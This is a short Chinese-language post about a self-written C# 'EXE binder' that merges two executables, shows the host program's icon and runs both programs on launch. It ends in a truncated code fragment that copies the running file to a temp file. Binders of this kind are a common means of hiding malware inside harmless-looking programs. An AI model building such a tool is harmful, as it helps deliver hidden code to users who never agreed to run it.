C# 版 EXE捆绑器
本人练习写的,参照网上其它资料.
主要功能
1. 将两个EXE文件合并.
2. 合并后的程序显示宿主程序的图标
3. 合并后的程序执行时,同时执行宿主程序与捆绑的程序.
用C#制作的捆绑器,不能和C写的捆绑机相比,不可能用这样的方法来把XXXXX程序捆绑,毕竟运行这样的程序还要.net framework 支持. 只为练手
就贴一下 合并后文件的代码吧.
合并后文件,主要是分离执行.
public ClassHost()
{
//从自己
string exePath=Path.GetDirectoryName(Application.ExecutablePath);
//临时文件准备
string sourcetempFile=Path.Combine(exePath,"tempFile.data");
if (File.Exists(sourcetempFile))
{
File.Delete(sourcetempFile);
}
File.Copy(Application.ExecutablePath, sourcetempFile);
//sourcetempFile = Path.Combine(exe